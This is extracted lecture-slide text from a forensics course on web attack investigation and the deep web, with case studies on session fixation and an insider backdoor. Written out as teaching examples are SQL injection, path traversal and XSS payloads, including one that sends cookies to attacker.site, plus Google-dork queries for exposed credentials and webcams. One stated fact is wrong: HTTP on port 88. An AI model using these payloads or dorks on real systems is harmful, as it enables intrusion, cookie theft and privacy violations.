Web Forensics and Deep

Web
Part III. Techniques and Tools for Network
Forensics

CSF: Forensics Cyber-Security

Fall 2017
Nuno Santos
 Web applications have changed the world

2 CSF - Nuno Santos 2017/18

 But the Web is vulnerable to security threats

3 CSF - Nuno Santos 2017/18

 The Web: Powerful tool for cybercriminals

Offender

!  Provides huge source of information, used in:

!  Crime premeditation, privacy violations, identity theft, extortion, etc.

!  Web allows for accessing services for criminal activity

!  E.g., drug selling, weapon selling, etc.

!  To find services and info, there are powerful search engines

!  Google, Bing, Shodan, etc.

4 CSF - Nuno Santos 2017/18

 The Web: powerful also for crime investigation

Investigator

!  Powerful investigation tool about suspects

!  Find evidence in blogs, social networks, browsing activity, etc.

!  The playground where the crime itself is carried out

!  Illegal transactions, cyber stalking, blackmail, fraud, etc.

5 CSF - Nuno Santos 2017/18

 Class roadmap

!  Web forensics

!  Deep Web

6 CSF - Nuno Santos 2017/18

 Web forensics

7 CSF - Nuno Santos 2017/18

 Typical Web application architecture
HTTP SQL
Request Query

HTTP
Response Result Set

Client Web Internet /

Browser Intranet
Web Server Database
Server
!  Together with HTML, HTTP forms the base of WWW
!  It is standardized by IETF (rfc 2616)
!  Most clients/servers today speak version 1.1
!  Runs on top of TCP on the standardized port 88
!  It is a request-response protocol
!  It is stateless (does not maintain a state of a session)

8 CSF - Nuno Santos 2017/18

 HTTP request

Request line:
Request'Line+
Headers+ !  Method!URI!HTTP-Version\r\n!
.+
.+
.+ Commonly supported methods:
blank&line&
!  GET: retrieve information identified by URL
Content...+
+ !  Typically used to retrieve an HTML document

!  HEAD: retrieve meta-info about the URL

!  Used to find out if a document has changed

!  POST: send information to URL and obtain result

!  Used to submit a form

9 CSF - Nuno Santos 2017/18

 Example HTTP request
!  HTTP request sent by the browser

GET!/tutorials/other/top3203mysql3best3practices/!HTTP/1.1!
Host:!net.tutsplus.com!
User3Agent:!Mozilla/5.0!(Windows;!U;!Windows!NT!6.1;!en3US;!
rv:1.9.1.5)!Gecko/20091102!Firefox/3.5.5!(.NET!CLR!3.5.30729)!
Accept:!text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8!
Accept3Language:!en3us,en;q=0.5!
Accept3Encoding:!gzip,deflate!
Accept3Charset:!ISO3885931,utf38;q=0.7,*;q=0.7!
Keep3Alive:!300!
Connection:!keep3alive!
Cookie:!PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120!
Pragma:!no3cache!
Cache3Control:!no3cache!

10 CSF - Nuno Santos 2017/18

 Example HTTP response
!  HTTP response sent by the server

HTTP/1.x!200!OK!
Transfer3Encoding:!chunked!
Date:!Sat,!28!Nov!2009!04:36:25!GMT!
Server:!LiteSpeed!
Connection:!close!
X3Powered3By:!PHP/5.4.0!
Expires:!Sat,!28!Nov!2009!05:36:25!GMT!
Etag:!"pub1259380237;gz"!
Cache3Control:!max3age=3600,!public!
Content3Type:!text/html;!charset=UTF38!
Last3Modified:!Sat,!28!Nov!2009!03:50:37!GMT!
Content3Encoding:!gzip!

11 CSF - Nuno Santos 2017/18

 Sessions and cookies

!  The web is stateless – the browser does not

necessarily maintain a connection to the server while
you are looking at a page
!  You may never come back to the same server - or it may be a
long time - or it may be one second later

!  So we need a way for servers to know which session

is this?
!  Session IDs stored in Cookies

12 CSF - Nuno Santos 2017/18

 HTTP message exchange involving cookies

13 CSF - Nuno Santos 2017/18

 Forensic analysis of Web attacks

!  An attack scenario describes the ways an attacker might exploit

the vulnerabilities of a Web app
!  The possible attacks to a web application
!  A possible attacker
!  The web resources that are attacked

Attacker Internet /
Web Server
Intranet

14 CSF - Nuno Santos 2017/18

 Some challenges of Web investigations

!  Web applications are often distributed across servers

!  Web applications are often business critical and

downtime for imaging may not be allowed

!  Database servers usually have large disk arrays

15 CSF - Nuno Santos 2017/18

 Log files in Web applications

Application
logs

HTTP SQL
Request Query

HTTP
Response Result Set

Client Web Internet /

Browser Intranet Database
Web Server
Server

Web server Database

logs logs

16 CSF - Nuno Santos 2017/18

 Database server logging
!  Common databases have little or no logging enabled
by default
!  Logging of additional database events can be
enabled
!  Table or data specific logging can be accomplished
with database triggers

!  Example: MS SQL Server database logging

!  Captures login/logout and other activity in the Windows Application Log
!  ErrorLog file – server errors and other messages

CSF - Nuno Santos 2017/18

17
 Application level logging
!  Application should log !  Application should log
these events: this information:
!  Invalid Input !  Server Identity
!  SQL Injection Attempts !  Client IP Address
!  Cross Site Scripting Attempts !  Username
!  Failed Authentication !  Date/Time
!  Authorization Failures !  URL
!  Session Tracking Problems !  POST data
!  Critical portions of business !  Cookies
logic

18 CSF - Nuno Santos 2017/18

 Web server logs
!  Web server logs provide extremely useful information
for forensic investigators
134.147.23.42!3!3![13/Mar/2012:20:58:25!+0100]!"GET!
/webapp.php?page=news+HTTP/1.1"!200!36312!
134.147.61.15!3!3![13/Mar/2012:21:02:13!+0100]!"GET!
/webapp.php?page=blog+HTTP/1.1"!200!27140!
134.147.12.77!3!3![13/Mar/2012:20:58:25!+0100]!"GET!
/webapp.php?page=index+HTTP/1.1"!200!30745!
134.147.12.77!3!3![13/Mar/2012:20:58:29!+0100]!"GET!
/webapp.php?page=news+HTTP/1.1"!200!36312!
212.32.45.167!3!3![13/Mar/2012:21:05:42!+0100]!"GET!
/webapp.php?page=../../etc/passwd+HTTP/1.1"!200!2219!
134.147.12.131!3!3![13/Mar/2012:20:58:29!+0100]!"GET!
/webapp.php?page=wiki+HTTP/1.1"!200!73141!

19 CSF - Nuno Santos 2017/18

 Can help detect various kinds of attacks
!  Remote File Inclusion:
!  /include/?file=http://evil.fr/sh+
!  Command Execution:
!  /lookup.jsp?ip=|+ls+'l+
!  SQL Injection:
!  /product.asp?id=0%20or%201=1+
!  XSS:
!  /forum.php?post=<script>alert(1);+
!  Buffer Overflow:
!  /cgi'bin/Count.cgi?user=a\x90\xbf8\xee\xff\xbf8\xee
\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8\xee\xff\xbf8+[…]+
\xff\xff+
!  ...and many more
20 CSF - Nuno Santos 2017/18
 Investigation of code injection attacks

!  Carried out via entering malicious code into the input control of
web form or address bar of web browser

!  Exploit may occur due to improper handling of the user’s input

by the Web application

!  Common type of code injection attack:

1.  SQL injection
2.  Cross Site Scripting
3.  PHP code injection

Web Server

21 CSF - Nuno Santos 2017/18

 1. SQL injection
!  Attacker injects malicious text string, most often a
database query, into an available web form that is
eventually executed by the database

100+

SELECT+*+from+my_employee+where+scode=100+

!  Vulnerable input
’17’+or+’a’=’a’+

SELECT+*+from+my_employee+where+scode=’17’+or+’a’=’a’+

22 CSF - Nuno Santos 2017/18

 Example of an SQL injection attack
!  Product search: ’blah’+OR+’x’=’x’+

!  What if the attacker had instead entered:

’blah’;+DROP+TABLE+prodinfo;+

!  Results in the following SQL:

SELECT+prodinfo+FROM+prodtable+WHERE+prodname+=+’blah’;+
DROP+TABLE+prodinfo;+
!  Causes the entire database to be deleted
!  Depends on knowledge of table name
!  This is sometimes exposed to the user in debug code called during
a database error

23 CSF - Nuno Santos 2017/18

 2. Cross site scripting (XSS)

!  XSS attacks allows an attacker to run arbitrary JavaScript in the

context of a vulnerable website

!  Goal: to steal the client cookies or other sensitive info which can
identify the client with the web site

!  With the token of the legitimate user, the attacker can

impersonate the user’s interaction with the site

24 CSF - Nuno Santos 2017/18

 Example XSS attack to eBanking website

Vulnerable
Attacker Web Site

(Phishing)
Victim
25 CSF - Nuno Santos 2017/18
 XSS full explanation
!  This script is named welcome.cgi, and its parameter is
name . It can be operated this way:

!!!!!!!!!!!!!!!GET!/welcome.cgi?name=Joe%20Hacker+HTTP/1.0!
!!!!!!!!!!!!!!!Host:!www.vulnerable.site!
!!!!!!!!!!!!!!!...!

And the response would be: Root of the problem:

!!!!!!!!!!!!!!!!!! Script reads part of the
!!!!!!!!!!!!!!!!<HTML>! HTTP request (usually the
!!!!!!!!!!!!!!!!<Title>Welcome!</Title>! parameters) and echoes it
!!!!!!!!!!!!!!!!!Hi!Joe+Hacker+ back to the response page,
!!!!!!!!!!!!!!!!<BR>! in full or in part, without
!!!!!!!!!!!!!!!!!Welcome!to!our!system! first sanitizing it
!!!!!!!!!!!!!!!!!...!
!!!!!!!!!!!!!!!!</HTML>!

26 CSF - Nuno Santos 2017/18

 XSS full explanation
!  Through phishing, send to the victim a poisoned link that looks like this:
http://www.vulnerable.site/welcome.cgi?
name=<script>alert(document.cookie)</script>+

!  The victim, upon clicking the link, will generate a request to

www.vulnerable.site, as follows:
GET/welcome.cgi?name=<script>alert(document.cookie)</script>+HTTP/1.0+
Host:+www.vulnerable.site+

!  And the vulnerable site response would be:

++<HTML>+
++<Title>Welcome!</Title>+
++Hi+<script>alert(document.cookie)</script>+
++<BR>+
++Welcome+to+our+system+
++</HTML>+

27 CSF - Nuno Santos 2017/18

 XSS full explanation
!  The malicious link would be:
+http://www.vulnerable.site/welcome.cgi?name=<script>window.open( http://
www.attacker.site/collect.cgi?cookie= %2Bdocument.cookie)</script>+

!  And the response page would look like:

++++++++++<HTML>+
++++++++++<Title>Welcome!</Title>+
+++++++++++Hi+
<script>window.open( http://www.attacker.site/collect.cgi?
cookie= +document.cookie)</script>+
++++++++++<BR>+
++++++++++Welcome+to+our+system+
+++++++++++...+
++++++++++</HTML>+

28 CSF - Nuno Santos 2017/18

 XSS: What went wrong?

!  Note that the web site is not directly affected by this attack
!  It continues to function normally, malicious code is not executed on the site,
no DoS occurs, data is not directly manipulated/read from the site

!  However, it is still a flaw in the privacy the site offers its clients

!  Weak spot in the application: the script that echoes back its
parameter, regardless of its value
!  A good script makes sure that the parameter is of a proper format, and
contains reasonable characters, etc.

29 CSF - Nuno Santos 2017/18

 3. PHP injection attacks

!  PHP injection allow an attacker to supply code to the

server side scripting engine
<?+show_source(“server_socket.php”);?>+

!  This vulnerability allows an attacker to run arbitrary,

system level code on the vulnerable server and
retrieve any desired information contained therein

30 CSF - Nuno Santos 2017/18

 PHP injection attack

31 CSF - Nuno Santos 2017/18

 Report from the trenches: Case #1
!  A client of a well-established brokerage firm in NYC:

“I see a trade executed from my account …10000 shares of

a company I haven’t even heard about, were purchased on
January 17 (2006) @ 2 pm from my account!”

!  7 other clients of the same brokerage firm report the

same issue – in January 2006

!  Obtained:
!  web server logs and victim’s hard drive
32 CSF - Nuno Santos 2017/18
 Session fixation attack
!  Permits an attacker to
hijack a valid user
session
!  Problem: The vulnerable
web app doesn’t assign
a new session ID when
authenticating a user
!  Attack: To induce the
user to authenticate itself
with a session ID
fabricated by the
attacker

!  Take a look at:

!  https://www.owasp.org

33 CSF - Nuno Santos 2017/18

 Parsed out all requests to execute.asp
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2006-01-017 01:03:15

cs-
#Fields:time c-ip cs-uri-stem cs-uri-query Status version
method
1:03:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:04:35 172.16.54.33 POST /execute.asp sessionid=3840943093874b3484c3839de9340494 200 HTTP/1.0
1:08:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:10:19 172.16.87.231 POST /execute.asp sessionid=298230e0393bc09849d839209883993 200 HTTP/1.0
1:13:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:18:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:19:20 172.16.121.3 POST /execute.asp sessionid=676db87873ab0393898de0398348c89 200 HTTP/1.0
1:21:43 172.16.41.53 POST /execute.asp sessionid=3840943093874b3484c3839de9340494 200 HTTP/1.0
1:23:16 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:28:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
. . . . . . .
. . . . . . .

34 CSF - Nuno Santos 2017/18

 Repeated use of same sessionid
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2006-01-017 01:03:15

cs-
#Fields:time c-ip cs-uri-stem cs-uri-query Status version
method
1:03:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:04:35 172.16.54.33 POST /execute.asp sessionid=3840943093874b3484c3839de9340494 200 HTTP/1.0
1:08:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:10:19 172.16.87.231 POST /execute.asp sessionid=298230e0393bc09849d839209883993 200 HTTP/1.0
1:13:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:18:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:19:20 172.16.121.3 POST /execute.asp sessionid=676db87873ab0393898de0398348c89 200 HTTP/1.0
1:21:43 172.16.41.53 POST /execute.asp sessionid=3840943093874b3484c3839de9340494 200 HTTP/1.0
1:23:16 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:28:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
. . . . . . .
. . . . . . .

35 CSF - Nuno Santos 2017/18

 Parsed requests with the suspicious sessionid
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2006-01-017 01:03:15
cs-
#Fields:time c-ip cs-uri-stem cs-uri-query Status version
method
1:03:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:08:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:13:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:18:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:23:16 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
1:28:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
. . . . . . .
. . . . . . .

13:53:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0

13:58:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
14:03:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
14:07:23 172.16.14.166 POST /login.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
14:07:54 172.16.14.166 POST /account.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
14:08:15 172.16.22.33 POST /execute.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0
14:10:09 172.16.22.33 POST /confirm.asp sessionid=90198e1525e4b03797f833ff4320af39 200 HTTP/1.0

36 CSF - Nuno Santos 2017/18

 Phishing?
!  Look what we found in the archived .pst file:
URL: https://www.xyzbrokerage.com/login.asp?sessionid=90198e1525e4b03797f833ff4320af39+

37 CSF - Nuno Santos 2017/18

 Session fixation

!  The application was confirmed to be vulnerable to

session fixation:
!  A session id was issued before login
!  The same session id was used by the application after login
for the purposes of user authorization
!  This allowed an attacker to hijack legitimate user sessions
using a bit of social engineering

38 CSF - Nuno Santos 2017/18

 Report from the trenches: Case #2

!  The CEO of a retail organization received an extortion

threat of $250,000 via snail mail
!  The threat – 125,000 customer credit card numbers would be
sold to the mafia

!  Goal: to determine how the credit card database may

have been compromised and who the culprit was

39 CSF - Nuno Santos 2017/18

 What followed?
!  Frenzied web server log analysis to detect anomalous
activity – Nothing!

!  Reviewed all employee email inboxes to detect internal

fraud – Nothing!

!  Database login/logout activity reviewed – nothing

suspicious

!  Web application scanned for SQL injection flaws – No

luck!

!  Last resort – application code review

40 CSF - Nuno Santos 2017/18

 Scripted searches through application code

!  Did the code contain raw SQL statements?

!  Searched for occurrences of the SELECT in the code

Regex = .*SELECT.*+

!  The search resulted in an overwhelming number of hits

41 CSF - Nuno Santos 2017/18

 The code that made the call
+
NameValueCollection+coll+=+Request.QueryString;+
String[]+arr1+=+coll.AllKeys;+
...+
String[]+arr5+=+coll.getValues(arr1[4]);+
string+extra+=+Server.HtmlEncode(arr5[0]).ToString();+
+
if+(extra.Equals( letmein ))+
{+
+Cmd+=+ SELECT+*+FROM+CardTable ;+
}+
+
...!

42 CSF - Nuno Santos 2017/18

 Eureka!
!  This was a backdoor – an insider job?

!  Reviewed code archives to detect addition of code

!  The first check-in with this code was made by a

developer contracted from a third-party in Asia

!  Found the URL with the additional parameter in the

web server logs

!  The client IP traced back to Asia!

43 CSF - Nuno Santos 2017/18
 Lessons for Web application forensics

1.  Understand the “normal” flow of the application

2.  Review log files

3.  Capture application and server configuration files

4.  Identify potential anomalies:

!  Malicious input from client
!  Breaks in normal web access trends
!  Unusual referrers
!  Mid-session changes to cookie values

5.  Determine a remediation plan

44 CSF - Nuno Santos 2017/18
 Deep Web

45 CSF - Nuno Santos 2017/18

 The iceberg analogy

!  What’s “visible”
through typical search
engines is minimal

!  Deep Web is not

necessarily bad: it’s just
that the content is not
directly indexed

!  Part of the deep web

where criminal activity
is carried out is named
the Dark Web

46 CSF - Nuno Santos 2017/18

 The Surface Web

!  The Surface Web is that portion of the World Wide Web

that is readily available to the general public and
searchable with standard web search engines
!  AKA Visible Web, Clearnet, Indexed Web, Indexable Web or Lightnet

!  As of June 14, 2015, Google's index of the surface web

contains about 14.5 billion pages

47 CSF - Nuno Santos 2017/18

 How to find content and services?
!  Using search engines

1. A web crawler gathers a

snapshot of the Web
3. User submits a search
query

4. Search engine ranks pages that match

the query and returns an ordered list
2. The gathered pages are
indexed for easy retrieval

48 CSF - Nuno Santos 2017/18

 How a typical search engine works
!  Architecture of a typical search engine
Lots and lots of computers

Users Interface Query Engine

Index

Crawler Indexer

Web
49 CSF - Nuno Santos 2017/18
 What a Web crawler is
!  In general, it’s a program for downloading web pages
!  Crawler AKA spider, bot, harvester

!  Given an initial set of seed URLs, recursively download

every page that is linked from pages in the set
!  A focused web crawler downloads only those pages whose
content satisfies some criterion

!  The next node to crawl is the URL frontier

!  Can include multiple pages from the same host
50 CSF - Nuno Santos 2017/18
 Crawling the Web: Start from the seed pages

URLs crawled
and parsed
Unseen Web

Seed URLs frontier

pages
Web

51 CSF - Nuno Santos 2017/18

 Crawling the Web: Keep expanding URL frontier

URLs crawled
and parsed
Unseen Web

Seed
Pages
URL frontier
Crawling thread
52 CSF - Nuno Santos 2017/18
 Web crawler algorithm is conceptually simple

!  Basic Algorithm
Initialize queue (Q) with initial set of known URL’s
Until Q empty or page or time limit exhausted:
Pop URL, L, from front of Q
If L is not to an HTML page (.gif, .jpeg, .ps, .pdf, .ppt…)
continue loop
If already visited L, continue loop
Download page, P, for L
If cannot download P (e.g. 404 error, robot excluded)
continue loop
Index P (e.g. add to inverted index or store cached copy)
Parse P to obtain list of new links N
Append N to the end of Q

53 CSF - Nuno Santos 2017/18

 Search engines run specific and benign crawlers

!  Search engines obtain their listings in two ways:

!  “crawl” or “spider” documents by following one hypertext link to
!  Authors may submit their own Web pages
!  https://www.entireweb.com/free_submission/

!  Typically, public search engines crawl static Web content

!  Some search engines can crawl some dynamic content
!  E.g., Google crawls and indexes all content that was injected by javascript

!  Nevertheless, a lot of info can be retrieved, especially when

using “hidden” features of the search engine

54 CSF - Nuno Santos 2017/18

 Google hacking
!  Google provides keywords for advanced searching
!  Logic operators in search expressions
!  Advanced query attributes: “login password filetype:pdf”
!  Intitle,+allintitle+ !  Related+
!  Inurl,+allinurl+ !  Phonebook+
!  Filetype+ !  Rphonebook+
!  Allintext+ !  Bphonebook+
!  Site+ !  Author+
!  Link+ !  Group+
!  Inanchor+ !  Msgid+
!  Daterange+ !  Insubject+
!  Cache+ !  Stocks+
!  Info+ !  Define+

55 CSF - Nuno Santos 2017/18

 Google hacking: Entire books dedicated to it
Dornfest, Rael, Google Hacks 3rd ed,
O Rielly, (2006)

Ethical Hacking,
http://www.nc-net.info/2006conf/
Ethical_Hacking_Presentation_October_
2006.ppt

A cheat sheet of Google search

features:
http://www.google.com/intl/en/help/
features.html

A Cheat Sheet for Google Search Hacks

-- how to find information fast and
efficiently
http://www.expertsforge.com/Security/
hacking-everything-using-google-3.asp

56 CSF - Nuno Santos 2017/18

 Google hacking examples: Simple word search

!  A simple search: “cd ls .bash_history ssh”

!  Can return surprising

results: this is the
contents of a
live .bash_history file
57 CSF - Nuno Santos 2017/18
 Google hacking examples: URL searches
!  inurl: find the search
term within the URL
inurl:admin

inurl:admin
users mbox
inurl:admin users
passwords

58 CSF - Nuno Santos 2017/18

 Google hacking examples: File type searches

!  filetype: narrow down search results to specific file type

filetype:xls checking
account credit card

59 CSF - Nuno Santos 2017/18

 Google hacking examples: Finding servers

intitle:"Under
construction" "does not
currently have"

intitle:"Welcome to Windows
2000 Internet Services"

60 CSF - Nuno Santos 2017/18

 Google hacking examples: Finding webcams

!  To find open unprotected Internet

webcams that broadcast to the
web, use the following query:
!  inurl:/view.shtml

!  Can also search by manufacturer-specific URL patterns

!  inurl:ViewerFrame?Mode=
!  inurl:ViewerFrame?Mode=Refresh
!  inurl:axis-cgi/jpg
!  ...
61 CSF - Nuno Santos 2017/18
 Google hacking examples: Finding webcams

!  How to Find and View Millions of Free Live Web Cams

http://www.traveltowork.net/2009/02/how-to-find-view-
free-live-web-cams/

!  How to Hack Security Cameras,

http://www.truveo.com/How-To-Hack-Security-Cameras/
id/180144027190129591

!  How to Hack Security Cams all over the World

http://www.youtube.com/watch?
v=9VRN8BS02Rk&feature=related

62 CSF - Nuno Santos 2017/18

 The Deep Web

!  Deep Web is the part

of the Web which is
not indexed by
conventional search
engines and therefore
don’t appear in
search results

!  Why is it not indexed

by typical search
engines?

63 CSF - Nuno Santos 2017/18

 Some content can’t be found through URL traversal

•  Dynamic (server generated) web pages and

searchable databases
–  Response to a query or accessed only through a form
•  Unlinked contents
–  Pages without any links to them (orphan)
•  Private web
–  Sites requiring registration and login
•  Limited access web
–  Sites with captchas, no-cache pragma http headers

64 CSF - Nuno Santos 2017/18

 In other times, content won’t be found
!  Crawling restrictions by site owner
!  Use a robots.txt file to keep files off limits from spiders

!  Crawling restrictions by the search engine

!  E.g.: a page may be found this way:
http://www.website.com/cgi-bin/getpage.cgi?name=sitemap
!  Most search engines will not read past the ? in that URL

!  Limitations of the crawling engine

!  E.g., real-time data – changes rapidly – too fresh

65 CSF - Nuno Santos 2017/18

 How big is Deep Web?
!  Studies suggest it’s approx. 500x the surface Web
!  But cannot be determined accurately

!  A 2001 study showed that 60 deep sites exceeded the

size of the surface web (at that time) by 40x

66 CSF - Nuno Santos 2017/18

 Specialized search engines

!  Crawl deeper
!  Go beyond top page, or homepage

!  Crawl focused
!  Choose sources to spider—topical sites only

!  Crawl informed
!  Indexing based on knowledge of the specific subject

67 CSF - Nuno Santos 2017/18

 Specialized search engines abound
!  There’s hundreds of specialized search engines for almost
every topic

68 CSF - Nuno Santos 2017/18

 A particularly interesting search engine

!  Shodan lets the user find specific types of computers connected

to the internet using a variety of filters
!  Routers, servers, traffic lights, security cameras, home heating systems
!  Control systems for water parks, gas stations, water plants, power grids,
nuclear power plants and particle-accelerating cyclotrons

!  Why is it interesting?
!  Many devices use "admin" as user name and "1234" as password, and
the only software required to connect them is a web browser

69 CSF - Nuno Santos 2017/18

 How does Shodan work?

“Google crawls URLs – I don’t do that at all.The only thing I

do is randomly pick an IP out of all the IPs that exist,
whether it’s online or not being used, and I try to connect
to it on different ports. It’s probably not a part of the visible
web in the sense that you can’t just use a browser. It’s not
something that most people can easily discover, just because
it’s not visual in the same way a website is.”

John Matherly, Shodan's creator

!  Shodan collects data mostly on HTTP servers (port 80)

!  But also from FTP (21), SSH (22) Telnet (23), and SNMP (161)

70 CSF - Nuno Santos 2017/18

 Interesting findings

Webcam

Controls for water treatment facility

Controls of Caterpillar trucks

Controls for a crematorium
71 CSF - Nuno Santos 2017/18
 A Deep Web’s particular case

Dark Web

72 CSF - Nuno Santos 2017/18

 Dark Web

!  Dark Web is the Web content that exists on darknets

!  Darknets are overlay nets which use the public Internet

but require specific SW or authorization to access
!  Delivered over small peer-to-peer networks
!  As hidden services on top of Tor

!  The Dark Web forms a small part of the Deep Web,

the part of the Web not indexed by search engines

73 CSF - Nuno Santos 2017/18

 The Dark Web is a haven for criminal activities
!  Hacking services

!  Fraud and fraud

services

!  Markets for
illegal products

!  Hitmen

!  …
74 CSF - Nuno Santos 2017/18
 Surface Web vs. Deep Web

Surface Web Deep Web

!  Size: Estimated to be 8+ billion
(Google) to 45 billion
(About.com) web pages
!  Static, crawlable web pages
!  Size: Estimated to be 5 to 500x
larger (BrightPlanet)
!  Dynamically generated content
that lives inside databases

!  Large amounts of unfiltered !  High-quality, managed, subject-

information specific content

!  Limited to what is easily found !  Growing faster than surface

by search engines web

75 CSF - Nuno Santos 2017/18

 Conclusions
!  In the event of Web attacks, forensic investigators are called in
to find out how the attack was carried out

!  To investigate Web attacks, investigators must be familiar with

how Web attacks are engineered and be prepared to find the
needle in a haystack of log files

!  The Web content that is typically accessible through

conventional search engines is named the Surface Web and
represents only a small fraction of the whole Web

!  The Deep Web includes the largest bulk of the Web, a small
part of it (the Dark Web), being used specifically for carrying
out criminal activities

76 CSF - Nuno Santos 2017/18

 References

!  Primary bibliography
!  [Casey05], Chapter 21, 23.2.1

!  Michael K. Bergman, The Deep Web: Surfacing Hidden Value

http://brightplanet.com/wp-content/uploads/2012/03/12550176481-
deepwebwhitepaper1.pdf

77 CSF - Nuno Santos 2017/18

 Next class
!  III.7 Online Anonymization

78 CSF - Nuno Santos 2017/18